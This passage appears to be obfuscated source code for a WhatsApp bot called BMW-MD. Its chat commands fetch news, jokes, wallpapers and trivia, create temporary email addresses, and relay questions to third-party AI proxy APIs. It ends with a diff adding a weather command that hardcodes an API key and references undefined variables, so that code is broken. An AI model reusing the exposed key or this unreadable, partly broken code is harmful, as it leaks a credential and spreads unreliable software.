axios['get']('https://fantox001-scrappy-api.vercel.app/technews/random'),_0x3efc28=_0x1d5f50[_0x5dfd57(0x16d)],{thumbnail:_0x329ed9,news:_0x1608a6}=_0x3efc28,_0x1e79e5='*BMW\x20NEWS*\x0a\x0a'+_0x1608a6+_0x5dfd57(0x173);await _0x21ced1[_0x5dfd57(0x214)](_0x3cfecb,{'image':{'url':_0x329ed9},'caption':_0x1e79e5},{'quoted':_0x135ec4});}catch(_0x106592){console[_0x5dfd57(0x1ee)](_0x5dfd57(0x1b5),_0x106592),await _0x3b6542('Sorry,\x20there\x20was\x20an\x20error\x20retrieving\x20the\x20news.\x20Please\x20try\x20again\x20later.\x0a'+_0x106592);}}),adams({'nomCom':'mail','aliases':['tempmail',_0x39bcb0(0x20b)],'reaction':'📧','categorie':_0x39bcb0(0x149)},async(_0x2bfa8c,_0x52af9e,_0x4c0448)=>{const _0x3b5425=_0x39bcb0,{repondre:_0x478e15,prefixe:_0x4171c0,ms:_0x2a64f2}=_0x4c0448;try{const _0x595799=Math[_0x3b5425(0x1fe)]()[_0x3b5425(0x1cf)](0x24)[_0x3b5425(0x1e3)](0x2,0xc),_0x23a82c=_0x595799+_0x3b5425(0x167);await _0x52af9e['sendMessage'](_0x2bfa8c,{'text':_0x3b5425(0x15e)+_0x23a82c+_0x3b5425(0x1f5)},{'quoted':_0x2a64f2});const _0x15d94a=_0x139e04=>{const _0xa90942=_0x3b5425,_0x476b19=/(https?:\/\/[^\s]+)/g;return _0x139e04[_0xa90942(0x18b)](_0x476b19);},_0x230148=async()=>{const _0x9d326f=_0x3b5425;try{const _0x56f53f=await fetch(_0x9d326f(0x158)+_0x595799+_0x9d326f(0x19b)),_0x3808b5=await _0x56f53f[_0x9d326f(0x18e)]();if(_0x3808b5&&_0x3808b5[_0x9d326f(0x1b2)]>0x0)for(const _0x41e006 of _0x3808b5){const _0x5613cc=await fetch('https://www.1secmail.com/api/v1/?action=readMessage&login='+_0x595799+'&domain=1secmail.com&id='+_0x41e006['id']),_0x1814c6=await _0x5613cc[_0x9d326f(0x18e)](),_0x3b7b17=_0x15d94a(_0x1814c6['textBody']),_0x55af45=_0x3b7b17?_0x3b7b17[_0x9d326f(0x160)]('\x0a'):_0x9d326f(0x1e4);await _0x52af9e[_0x9d326f(0x214)](_0x2bfa8c,{'text':_0x9d326f(0x15d)+_0x1814c6[_0x9d326f(0x1c3)]+_0x9d326f(0x1a3)+_0x1814c6[_0x9d326f(0x17b)]+'\x0a\x0a'+_0x1814c6[_0x9d326f(0x14b)]+_0x9d326f(0x213)+_0x55af45},{'quoted':_0x2a64f2});}}catch(_0x2c5b16){console[_0x9d326f(0x1ee)](_0x9d326f(0x1fb),_0x2c5b16[_0x9d326f(0x146)]);}},_0xcbdbcf=setInterval(_0x230148,0x7530);setTimeout(()=>{const _0xcad904=_0x3b5425;clearInterval(_0xcbdbcf),_0x52af9e[_0xcad904(0x214)](_0x2bfa8c,{'text':'Your\x20temporary\x20email\x20session\x20has\x20ended.\x20Please\x20create\x20a\x20new\x20temporary\x20email\x20if\x20needed.'},{'quoted':_0x2a64f2});},0x927c0);}catch(_0xab475c){console[_0x3b5425(0x1ee)](_0x3b5425(0x1bd),_0xab475c[_0x3b5425(0x146)]),await _0x52af9e['sendMessage'](_0x2bfa8c,{'text':_0x3b5425(0x1f7)},{'quoted':_0x2a64f2});}}),adams({'nomCom':_0x39bcb0(0x1bc),'aliases':[_0x39bcb0(0x170),_0x39bcb0(0x1da)],'reaction':'📡','categorie':'AI'},async(_0x3a773c,_0x27111b,_0x2d381a)=>{const _0x40422a=_0x39bcb0,{repondre:_0x38bc30,arg:_0x40b20d,ms:_0x22c059}=_0x2d381a;try{if(!_0x40b20d||_0x40b20d['length']===0x0)return _0x38bc30(_0x40422a(0x1ea));const _0xabb77=_0x40b20d[_0x40422a(0x160)]('\x20'),_0x12ea30=_0x40422a(0x13c)+_0xabb77;let _0x2a378a=_0x40422a(0x188);_0x27111b[_0x40422a(0x214)](_0x3a773c,{'image':{'url':_0x12ea30},'caption':_0x2a378a},{'quoted':_0x22c059});}catch(_0x305e4d){console[_0x40422a(0x1ee)]('Erreur:',_0x305e4d[_0x40422a(0x146)]||_0x40422a(0x161)),_0x38bc30(_0x40422a(0x1fa));}}),adams({'nomCom':_0x39bcb0(0x1fc),'reaction':'🤗','categorie':'AI'},async(_0x43b9ca,_0x111126,_0xa40b2b)=>{const _0x33c045=_0x39bcb0,{repondre:_0x1f385f,arg:_0x4e923c,ms:_0x93a1a2}=_0xa40b2b;try{if(!_0x4e923c||_0x4e923c[_0x33c045(0x1b2)]===0x0)return _0x1f385f(_0x33c045(0x198));const _0x5b1b08=_0x4e923c[_0x33c045(0x160)]('\x20'),_0x255f43=await fetch(_0x33c045(0x152)+_0x5b1b08),_0x54f66c=await _0x255f43['json']();if(_0x54f66c&&_0x54f66c[_0x33c045(0x197)]){const _0x233f3e=_0x54f66c[_0x33c045(0x197)],_0x38445b=_0x233f3e[_0x33c045(0x18b)](/```([\s\S]*?)```/),_0x5191a8=[{'name':_0x33c045(0x1f3),'buttonParamsJson':JSON[_0x33c045(0x189)]({'display_text':_0x33c045(0x1ab),'url':_0x33c045(0x153)})}];if(_0x38445b){const _0x4d1ea4=_0x38445b[0x1];_0x5191a8[_0x33c045(0x187)]({'name':_0x33c045(0x203),'buttonParamsJson':JSON['stringify']({'display_text':_0x33c045(0x17e),'id':_0x33c045(0x1e1),'copy_code':_0x4d1ea4})});const _0x335de3=generateWAMessageFromContent(_0x43b9ca,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto['Message']['InteractiveMessage'][_0x33c045(0x165)]({'body':proto['Message'][_0x33c045(0x1c5)]['Body']['create']({'text':_0x233f3e}),'footer':proto[_0x33c045(0x1f1)]['InteractiveMessage']['Footer'][_0x33c045(0x165)]({'text':_0x33c045(0x162)}),'header':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x17f)][_0x33c045(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x1dc)]['create']({'buttons':_0x5191a8})})}}},{});await _0x111126[_0x33c045(0x212)](_0x43b9ca,_0x335de3[_0x33c045(0x146)],{'messageId':_0x335de3['key']['id']});}else{const _0x399a08=generateWAMessageFromContent(_0x43b9ca,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x165)]({'body':proto['Message'][_0x33c045(0x1c5)][_0x33c045(0x168)]['create']({'text':_0x233f3e}),'footer':proto['Message'][_0x33c045(0x1c5)][_0x33c045(0x180)][_0x33c045(0x165)]({'text':'>\x20*POWERED\x20BY\x20BMW-MD*'}),'header':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto['Message'][_0x33c045(0x1c5)]['NativeFlowMessage'][_0x33c045(0x165)]({'buttons':_0x5191a8})})}}},{});await _0x111126['relayMessage'](_0x43b9ca,_0x399a08[_0x33c045(0x146)],{'messageId':_0x399a08[_0x33c045(0x1e9)]['id']});}}else throw new Error('Invalid\x20response\x20from\x20the\x20API.');}catch(_0xbd4a57){console['error']('Error\x20getting\x20response:',_0xbd4a57[_0x33c045(0x146)]),_0x1f385f(_0x33c045(0x13d));}}),adams({'nomCom':_0x39bcb0(0x14c),'aliases':[_0x39bcb0(0x1db),_0x39bcb0(0x16e)],'reaction':'🔢','categorie':_0x39bcb0(0x149)},async(_0x29ccc3,_0x2784d3,_0x4b2f97)=>{const _0x4a02d2=_0x39bcb0,{repondre:_0x17124a,arg:_0xb9ffba,ms:_0x36614a}=_0x4b2f97;if(!_0xb9ffba||_0xb9ffba[_0x4a02d2(0x1b2)]===0x0)return _0x17124a(_0x4a02d2(0x17a));const _0x3ced1e=_0xb9ffba[_0x4a02d2(0x160)]('\x20'),_0x1bcd54=await fetch(_0x4a02d2(0x142)+_0x3ced1e),_0x2c0161=await _0x1bcd54[_0x4a02d2(0x18e)]();await _0x17124a(_0x2c0161['result']),console[_0x4a02d2(0x13a)](_0x2c0161['completion']);}),adams({'nomCom':'hd-wallpaper','aliases':[_0x39bcb0(0x19d),_0x39bcb0(0x1d0),'bw'],'reaction':'🙌','categorie':'BMW\x20PICS'},async(_0x2ba5c4,_0x2e5bf6,_0x5f2d7a)=>{const _0x563068=_0x39bcb0,{repondre:_0xc75dae,arg:_0x240660,ms:_0x2e6196}=_0x5f2d7a,_0xf05498=await fetch(_0x563068(0x177)),_0x11f2d7=await _0xf05498[_0x563068(0x18e)](),_0x1146b8=_0x11f2d7[_0x563068(0x141)][_0x563068(0x1a0)];let _0x3c87c7={'image':{'url':_0x1146b8},'caption':'*POWERED\x20BY\x20BMW-MD*'};return await _0x2e5bf6[_0x563068(0x214)](_0x2ba5c4,_0x3c87c7,{'quoted':_0x2e6196});}),adams({'nomCom':_0x39bcb0(0x1fe),'reaction':'🥂','categorie':_0x39bcb0(0x19f)},async(_0x5372a5,_0x125b1b,_0x26c57f)=>{const _0x6ea49=_0x39bcb0,{repondre:_0x14ef0b,arg:_0xef9cad,ms:_0x11e4b2}=_0x26c57f,_0x56750a=await fetch(_0x6ea49(0x177)),_0x55ffbc=await _0x56750a['json'](),_0x4f4197=_0x55ffbc['urls'][_0x6ea49(0x1a0)];let _0x31224a={'image':{'url':_0x4f4197},'caption':_0x6ea49(0x191)};return await _0x125b1b['sendMessage'](_0x5372a5,_0x31224a,{'quoted':_0x11e4b2});}),adams({'nomCom':'nature','reaction':'🦗','categorie':'BMW\x20PICS'},async(_0x1cce3f,_0x1e041a,_0x4ff107)=>{const _0x4d7358=_0x39bcb0,{repondre:_0x3b8cdd,arg:_0x5d5433,ms:_0x3c94a3}=_0x4ff107,_0x2586e3=await fetch(_0x4d7358(0x177)),_0x47d143=await _0x2586e3['json'](),_0x475300=_0x47d143['urls'][_0x4d7358(0x1a0)];let _0x1ad35f={'image':{'url':_0x475300},'caption':_0x4d7358(0x1d3)};return await _0x1e041a['sendMessage'](_0x1cce3f,_0x1ad35f,{'quoted':_0x3c94a3});}),adams({'nomCom':_0x39bcb0(0x210),'reaction':'⌚','categorie':_0x39bcb0(0x149)},async(_0x2ad650,_0x3124bb,_0x4e65e2)=>{const _0x62ffd9=_0x39bcb0,{repondre:_0x1b8518,arg:_0xa800df,ms:_0x56ad2e}=_0x4e65e2;try{if(!_0xa800df||_0xa800df[_0x62ffd9(0x1b2)]===0x0)return _0x1b8518(_0x62ffd9(0x1d1));const _0x55c38c=_0xa800df[_0x62ffd9(0x160)]('\x20'),_0x586819=await fetch('https://levanter.onrender.com/time?code='+_0x55c38c),_0x2817c6=await _0x586819['json'](),_0x5404ef=_0x2817c6[_0x62ffd9(0x197)][0x0][_0x62ffd9(0x202)],_0x55c1d7=_0x2817c6['result'][0x0]['time'],_0x59052b=_0x2817c6['result'][0x0][_0x62ffd9(0x16b)];await _0x1b8518(_0x62ffd9(0x1cc)+_0x5404ef+_0x62ffd9(0x18d)+_0x55c1d7+_0x62ffd9(0x1a4)+_0x59052b+_0x62ffd9(0x175));}catch(_0x24a3c5){_0x1b8518(_0x62ffd9(0x1f4));}}),adams({'nomCom':_0x39bcb0(0x1b6),'reaction':'🫵','categorie':_0x39bcb0(0x1f0)},async(_0x220b72,_0xcf332,_0x4a395a)=>{const _0x189cc7=_0x39bcb0,{repondre:_0x1e19f3,arg:_0x18b9a6,ms:_0xfe697b}=_0x4a395a,_0x2292c3=await fetch(_0x189cc7(0x1ef)),_0x280389=await _0x2292c3[_0x189cc7(0x18e)]();await _0x1e19f3(_0x280389['result']),console['log'](_0x280389[_0x189cc7(0x193)]);}),adams({'nomCom':_0x39bcb0(0x174),'reaction':'💀','categorie':_0x39bcb0(0x1f0)},async(_0x132231,_0x58225f,_0x4ccd5a)=>{const _0x424157=_0x39bcb0,{repondre:_0x92e9ca,arg:_0x4f26e4,ms:_0xfbb66}=_0x4ccd5a,_0x298364=await fetch(_0x424157(0x1ed)),_0x247197=await _0x298364['json']();await _0x92e9ca(_0x247197[_0x424157(0x197)]),console[_0x424157(0x13a)](_0x247197[_0x424157(0x193)]);}),adams({'nomCom':_0x39bcb0(0x1c6),'reaction':'💥','categorie':_0x39bcb0(0x1a7)},async(_0x2cede3,_0x50aa8e,_0x4e5170)=>{const _0x3eba05=_0x39bcb0,{repondre:_0x3e453a,arg:_0x3ba799,ms:_0x4dc92d}=_0x4e5170;try{if(!_0x3ba799||_0x3ba799[_0x3eba05(0x1b2)]===0x0)return _0x3e453a(_0x3eba05(0x200));const _0x124e27=_0x3ba799[_0x3eba05(0x160)]('\x20'),_0x297b74=_0x3eba05(0x1b9)+_0x124e27;let _0x3c5bb8=_0x3eba05(0x1f8);_0x50aa8e[_0x3eba05(0x214)](_0x2cede3,{'image':{'url':_0x297b74},'caption':_0x3c5bb8},{'quoted':_0x4dc92d});}catch(_0x520246){console[_0x3eba05(0x1ee)](_0x3eba05(0x13f),_0x520246[_0x3eba05(0x146)]||_0x3eba05(0x161)),_0x3e453a(_0x3eba05(0x1fa));}}),adams({'nomCom':_0x39bcb0(0x205),'reaction':'😁','categorie':_0x39bcb0(0x1f0)},async(_0xf64f00,_0x9d6120,_0x362450)=>{const _0x38cf0f=_0x39bcb0,{repondre:_0x1f4b70,arg:_0xbd3eda,ms:_0x183d1a}=_0x362450,_0x5524c8=await fetch(_0x38cf0f(0x1f2)),_0x2463f6=await _0x5524c8[_0x38cf0f(0x18e)]();await _0x1f4b70(_0x2463f6[_0x38cf0f(0x197)]),console[_0x38cf0f(0x13a)](_0x2463f6[_0x38cf0f(0x193)]);}),adams({'nomCom':_0x39bcb0(0x15c),'reaction':'🤩','categorie':'Fun'},async(_0x4f29e8,_0x335731,_0x3e271b)=>{const _0x5cc2cc=_0x39bcb0,{repondre:_0x245bff,arg:_0x4b1493,ms:_0x2c1a50}=_0x3e271b,_0x1d666e=await fetch(_0x5cc2cc(0x19e)),_0x20a6f4=await _0x1d666e[_0x5cc2cc(0x18e)]();await _0x245bff(_0x20a6f4[_0x5cc2cc(0x197)]),console[_0x5cc2cc(0x13a)](_0x20a6f4[_0x5cc2cc(0x193)]);}),adams({'nomCom':_0x39bcb0(0x1ae),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0x5422d7,_0x55a0dd,_0x5610a1)=>{const _0x13c6ad=_0x39bcb0,{repondre:_0x368869,arg:_0x3a0e9b,ms:_0x5a307a}=_0x5610a1;try{const _0x169fc7=await fetch(_0x13c6ad(0x182)),_0x528672=await _0x169fc7[_0x13c6ad(0x18e)]();if(_0x528672&&_0x528672[_0x13c6ad(0x18a)]===0xc8&&_0x528672[_0x13c6ad(0x197)]){const _0x3a020f=_0x528672[_0x13c6ad(0x197)],_0x186636=_0x13c6ad(0x207)+_0x3a020f[_0x13c6ad(0x196)]+'\x0a\x0a-\x20*Description:*\x20'+_0x3a020f[_0x13c6ad(0x140)][_0x13c6ad(0x20d)]('\x0a')[0x0]+_0x13c6ad(0x1f9)+_0x3a020f[_0x13c6ad(0x1b4)]+_0x13c6ad(0x1c7),_0x12d30b=_0x3a020f[_0x13c6ad(0x159)][_0x13c6ad(0x211)](_0x557cee=>_0x557cee&&_0x557cee!==_0x13c6ad(0x1d8));_0x12d30b?await _0x55a0dd[_0x13c6ad(0x214)](_0x5422d7,{'image':{'url':_0x12d30b},'caption':_0x186636[_0x13c6ad(0x15f)]()},{'quoted':_0x5a307a}):await _0x55a0dd[_0x13c6ad(0x214)](_0x5422d7,{'text':_0x186636[_0x13c6ad(0x15f)]()},{'quoted':_0x5a307a});}else await _0x368869('No\x20news\x20data\x20found.');}catch(_0x449423){console[_0x13c6ad(0x1ee)]('Error\x20fetching\x20Apple\x20news:',_0x449423),await _0x368869(_0x13c6ad(0x186));}}),adams({'nomCom':_0x39bcb0(0x1bf),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0x4e84d3,_0x3a8a4b,_0x1ba5a2)=>{const _0x4aa91b=_0x39bcb0,{repondre:_0x4031d5,arg:_0x4a2f70,ms:_0x45ddc0}=_0x1ba5a2;try{const _0x1d77de=await fetch(_0x4aa91b(0x1fd)),_0x326b75=await _0x1d77de[_0x4aa91b(0x18e)]();if(_0x326b75&&_0x326b75['status']===0xc8&&_0x326b75[_0x4aa91b(0x197)]){const _0x177970=_0x326b75[_0x4aa91b(0x197)],_0x439c05=_0x4aa91b(0x1e6)+_0x177970[_0x4aa91b(0x196)]+_0x4aa91b(0x1ff)+_0x177970['date']+_0x4aa91b(0x1e5)+_0x177970[_0x4aa91b(0x204)][_0x4aa91b(0x20d)]('\x0a')[0x0]+'...\x0a\x0a\x0a>\x20Powered\x20by\x20*©France\x20King*',_0xe25672=_0x177970[_0x4aa91b(0x190)];_0xe25672?await _0x3a8a4b[_0x4aa91b(0x214)](_0x4e84d3,{'image':{'url':_0xe25672},'caption':_0x439c05[_0x4aa91b(0x15f)]()},{'quoted':_0x45ddc0}):await _0x3a8a4b[_0x4aa91b(0x214)](_0x4e84d3,{'text':_0x439c05[_0x4aa91b(0x15f)]()},{'quoted':_0x45ddc0});}else await _0x4031d5(_0x4aa91b(0x1d5));}catch(_0x4b1119){console['error'](_0x4aa91b(0x17c),_0x4b1119),await _0x4031d5(_0x4aa91b(0x186));}}),adams({'nomCom':_0x39bcb0(0x13b),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0xe5a7dd,_0x3f7793,_0x500b26)=>{const _0x7cfabb=_0x39bcb0,{repondre:_0x2042cb,arg:_0x5328da,ms:_0x3c1694}=_0x500b26;try{const _0x21daa5=await fetch(_0x7cfabb(0x150)),_0x287396=await _0x21daa5[_0x7cfabb(0x18e)]();if(_0x287396&&_0x287396[_0x7cfabb(0x18a)]===0xc8&&_0x287396['result']){const _0x4644bc=_0x287396[_0x7cfabb(0x197)],_0x16ada5=_0x7cfabb(0x1c1)+_0x4644bc[_0x7cfabb(0x1ba)][_0x7cfabb(0x192)]+'\x0a-\x20*Male\x20Population:*\x20'+_0x4644bc[_0x7cfabb(0x1ba)][_0x7cfabb(0x147)]+'\x0a-\x20*Female\x20Population:*\x20'+_0x4644bc['current']['female']+'\x0a-\x20*Births\x20This\x20Year:*\x20'+_0x4644bc[_0x7cfabb(0x1b1)][_0x7cfabb(0x1c8)]+_0x7cfabb(0x20a)+_0x4644bc[_0x7cfabb(0x1b1)][_0x7cfabb(0x1ad)]+'\x0a-\x20*Births\x20Today:*\x20'+_0x4644bc['today']['births']+_0x7cfabb(0x16f)+_0x4644bc['today'][_0x7cfabb(0x1ad)]+_0x7cfabb(0x1f6);await _0x2042cb(_0x16ada5);}else await _0x2042cb(_0x7cfabb(0x18f));}catch(_0x14aab6){console[_0x7cfabb(0x1ee)]('Error\x20fetching\x20population\x20data:',_0x14aab6),await _0x2042cb('There\x20was\x20an\x20error\x20fetching\x20the\x20population\x20data.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':'jokes','reaction':'🤩','categorie':'Fun'},async(_0x7bb53e,_0x4b1b30,_0x57b95b)=>{const _0x4c8f02=_0x39bcb0,{repondre:_0x6f3d24,arg:_0x2436af,ms:_0xf7edd7}=_0x57b95b;try{const _0x3da5f3=await fetch(_0x4c8f02(0x1a2));if(!_0x3da5f3['ok'])throw new Error(_0x4c8f02(0x1bb));const _0x65e67a=await _0x3da5f3[_0x4c8f02(0x18e)]();await _0x6f3d24(_0x65e67a['joke']),console[_0x4c8f02(0x13a)](_0x65e67a[_0x4c8f02(0x1b8)]);}catch(_0x3209bd){console['error'](_0x4c8f02(0x14f),_0x3209bd[_0x4c8f02(0x146)]),await _0x6f3d24('Failed\x20to\x20fetch\x20a\x20joke.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':_0x39bcb0(0x176),'reaction':_0x39bcb0(0x1dd),'categorie':'Fun'},async(_0x5e3cca,_0x46692c,_0xb674f)=>{const _0x496b52=_0x39bcb0,{repondre:_0x279ca7,arg:_0x24b59b,ms:_0x582e4e}=_0xb674f;try{const _0x527a0f=await fetch(_0x496b52(0x208)),_0x452343=await _0x527a0f[_0x496b52(0x18e)](),_0x1bbc31=_0x452343[_0x496b52(0x1c9)]['advice'];await _0x279ca7(_0x496b52(0x15b)+_0x1bbc31);}catch(_0x42a0e2){console[_0x496b52(0x1ee)](_0x496b52(0x1d9),_0x42a0e2[_0x496b52(0x146)]||'An\x20error\x20occurred'),_0x279ca7('Oops,\x20an\x20error\x20occurred\x20while\x20processing\x20your\x20request');}}),adams({'nomCom':_0x39bcb0(0x20c),'reaction':'🤔','categorie':_0x39bcb0(0x1f0)},async(_0x514a1e,_0x364b49,_0x24a545)=>{const _0x2ebb1f=_0x39bcb0,{repondre:_0xb2f12c,prefixe:_0x43d2cc,ms:_0xd4727b}=_0x24a545;try{const _0x1e5581=await fetch(_0x2ebb1f(0x143));if(_0x1e5581[_0x2ebb1f(0x18a)]!==0xc8)return _0xb2f12c(_0x2ebb1f(0x16c)+_0x1e5581['status']);const _0x14c051=await _0x1e5581[_0x2ebb1f(0x18e)]();if(_0x14c051&&_0x14c051['results']&&_0x14c051[_0x2ebb1f(0x1ec)][0x0]){const _0x351156=_0x14c051[_0x2ebb1f(0x1ec)][0x0],_0x5142ea=_0x351156[_0x2ebb1f(0x1ac)],_0x34ff37=_0x351156[_0x2ebb1f(0x1b7)],_0x39ee98=[..._0x351156[_0x2ebb1f(0x1a8)],_0x34ff37]['sort'](),_0x4df9fc=_0x39ee98[_0x2ebb1f(0x1e8)]((_0x4ab3f6,_0x15952b)=>_0x15952b+0x1+'.\x20'+_0x4ab3f6)[_0x2ebb1f(0x160)]('\x0a');await _0x364b49['sendMessage'](_0x514a1e,{'text':_0x2ebb1f(0x1df)+_0x5142ea+'\x0a\x0a'+_0x4df9fc+_0x2ebb1f(0x1c4)},{'quoted':_0xd4727b}),setTimeout(async()=>{const _0xc3973=_0x2ebb1f;await _0x364b49[_0xc3973(0x214)](_0x514a1e,{'text':_0xc3973(0x183)+_0x34ff37},{'quoted':_0xd4727b});},0x2710);}else throw new Error(_0x2ebb1f(0x15a));}catch(_0xad0d4b){console[_0x2ebb1f(0x1ee)](_0x2ebb1f(0x1d2),_0xad0d4b[_0x2ebb1f(0x146)]),await _0x364b49[_0x2ebb1f(0x214)](_0x514a1e,{'text':_0x2ebb1f(0x1e2)},{'quoted':_0xd4727b});}}),adams({'nomCom':_0x39bcb0(0x1a1),'reaction':'✨','categorie':_0x39bcb0(0x149)},async(_0x598c6b,_0x29bc28,_0x2541ad)=>{const _0x4e25ba=_0x39bcb0,{repondre:_0x1ce934,arg:_0x27b838,ms:_0x369d1a}=_0x2541ad;try{const _0x44e3b9=await fetch(_0x4e25ba(0x1d6)),_0x378cec=await _0x44e3b9[_0x4e25ba(0x18e)](),_0x3ebee4=Math[_0x4e25ba(0x166)](Math[_0x4e25ba(0x1fe)]()*_0x378cec[_0x4e25ba(0x1b2)]),_0x3393d6=_0x378cec[_0x3ebee4];await _0x1ce934('*Here\x20is\x20an\x20inspirational\x20quote\x20for\x20you:*\x20\x0a\x22'+_0x3393d6['text']+_0x4e25ba(0x1ca)+_0x3393d6[_0x4e25ba(0x145)]);}catch(_0x32eb0f){console[_0x4e25ba(0x1ee)]('Error:',_0x32eb0f['message']||'An\x20error\x20occurred'),_0x1ce934(_0x4e25ba(0x1fa));}}),adams({'nomCom':'gpt4','reaction':'📡','categorie':'AI'},async(_0x2cc548,_0x17d893,_0x1b316f)=>{const _0x536879=_0x39bcb0,{repondre:_0x2bbf2f,arg:_0x2db5e4,ms:_0xf847b2}=_0x1b316f;try{if(!_0x2db5e4||_0x2db5e4[_0x536879(0x1b2)]===0x0)return _0x2bbf2f('Please\x20ask\x20a\x20question.');const _0x51a8f6=encodeURIComponent(_0x2db5e4['join']('\x20')),_0x4df159=_0x536879(0x1c0)+_0x51a8f6,_0x20494c=await axios[_0x536879(0x185)](_0x4df159),_0x8c4d0e=_0x20494c['data'];if(_0x8c4d0e&&_0x8c4d0e[_0x536879(0x146)]&&_0x8c4d0e[_0x536879(0x146)][_0x536879(0x1a9)]){const _0x282442=_0x8c4d0e['message']['content'],_0x1b7d96=_0x282442['match'](/```([\s\S]*?)```/),_0x30aa0f=[{'name':_0x536879(0x1f3),'buttonParamsJson':JSON['stringify']({'display_text':_0x536879(0x1ab),'url':_0x536879(0x153)})}];if(_0x1b7d96){const _0x1e6911=_0x1b7d96[0x1];_0x30aa0f[_0x536879(0x187)]({'name':_0x536879(0x203),'buttonParamsJson':JSON[_0x536879(0x189)]({'display_text':'📋\x20COPY\x20RESULTS','id':'copy_code','copy_code':_0x1e6911})});}const _0x26e2e4=generateWAMessageFromContent(_0x2cc548,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x536879(0x1f1)][_0x536879(0x1c5)]['create']({'body':proto[_0x536879(0x1f1)]['InteractiveMessage'][_0x536879(0x168)][_0x536879(0x165)]({'text':_0x282442}),'footer':proto[_0x536879(0x1f1)][_0x536879(0x1c5)][_0x536879(0x180)][_0x536879(0x165)]({'text':_0x536879(0x1a6)}),'header':proto[_0x536879(0x1f1)][_0x536879(0x1c5)][_0x536879(0x17f)][_0x536879(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x536879(0x1f1)]['InteractiveMessage'][_0x536879(0x1dc)]['create']({'buttons':_0x30aa0f})})}}},{});await _0x17d893['relayMessage'](_0x2cc548,_0x26e2e4[_0x536879(0x146)],{'messageId':_0x26e2e4['key']['id']});}else throw new Error(_0x536879(0x14a));}catch(_0x232746){console[_0x536879(0x1ee)](_0x536879(0x17d),_0x232746[_0x536879(0x146)],_0x232746[_0x536879(0x20f)]?.[_0x536879(0x16d)]||_0x536879(0x1b0)),_0x2bbf2f(_0x536879(0x1b3));}}),adams({'nomCom':_0x39bcb0(0x1a5),'aliases':['gptbard'],'categorie':'AI'},async(_0x2f09d4,_0x433723,_0x466bad)=>{const _0x5c51d3=_0x39bcb0,{ms:_0x4a991e,repondre:_0x54d8f0,arg:_0x32a609}=_0x466bad;if(!_0x32a609[0x0]){_0x54d8f0(_0x5c51d3(0x1ce));return;}try{await _0x433723[_0x5c51d3(0x214)](_0x2f09d4,{'text':_0x5c51d3(0x164)},{'quoted':_0x4a991e});const _0xfc47d5=_0x466bad['nomAuteurMessage']||'defaultUser',_0x1fcc96=_0x32a609[_0x5c51d3(0x160)]('\x20'),_0x539a35=_0x5c51d3(0x19c)+_0xfc47d5+'&query='+encodeURIComponent(_0x1fcc96),_0x1058e5=await fetch(_0x539a35),_0x1b34b5=await _0x1058e5[_0x5c51d3(0x18e)]();if(!_0x1b34b5[_0x5c51d3(0x179)]){_0x54d8f0(_0x5c51d3(0x155));return;}const _0x45ca84=_0x1b34b5[_0x5c51d3(0x179)],_0x26bea3=[{'name':'cta_url','buttonParamsJson':JSON['stringify']({'display_text':_0x5c51d3(0x1ab),'url':_0x5c51d3(0x153)})}],_0x2890f1=generateWAMessageFromContent(_0x2f09d4,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x165)]({'body':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x168)]['create']({'text':_0x45ca84}),'footer':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x180)][_0x5c51d3(0x165)]({'text':_0x5c51d3(0x162)}),'header':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto['Message']['InteractiveMessage']['NativeFlowMessage'][_0x5c51d3(0x165)]({'buttons':_0x26bea3})})}}},{});await _0x433723['relayMessage'](_0x2f09d4,_0x2890f1[_0x5c51d3(0x146)],{'messageId':_0x2890f1['key']['id']});}catch(_0xb7afdd){_0x54d8f0('A\x20fatal\x20error\x20has\x20occurred...\x20\x0a\x20'+_0xb7afdd[_0x5c51d3(0x146)]);}});
diff --git a/scs/bmwn.js b/scs/bmwn.js
new file mode 100644
index 0000000..e1bf6a4
--- /dev/null
+++ b/scs/bmwn.js
@@ -0,0 +1,26 @@
+const {
+ adams
+} = require("../Ibrahim/adams");
+adams({
+ 'nomCom': "weather",
+ 'reaction': "🌡️",
+ 'categorie': "Search"
+},
+ async (_0x626df9, _0x17e5bb, _0x37baf6) => {
+ const _0x445647 = _0x1180fa.join(" ");
+ if (!_0x445647) {
+ return _0xecdf09("Give me location...");
+ }
+ const _0x470189 = await fetch("https://api.openweathermap.org/data/2.5/weather?q=" + _0x445647 + "&units=metric&appid=060a6bcfa19809c2cd4d97a212b19273&language=en");
+ const _0x4bfc6 = await _0x470189.json();
+ const _0x3cf19a = _0x4bfc6.name;
+ const _0x52e997 = _0x4bfc6.main.temp;
+ const _0x32180e = _0x4bfc6.weather[0x0].description;
+ const _0x2da493 = _0x4bfc6.main.humidity;
+ const _0x368581 = _0x4bfc6.wind.speed;
+ const _0x28a97c = _0x4bfc6.rain ? _0x4bfc6.rain['1h'] : 0x0;
+ const _0x39a4af = _0x4bfc6.clouds.all;
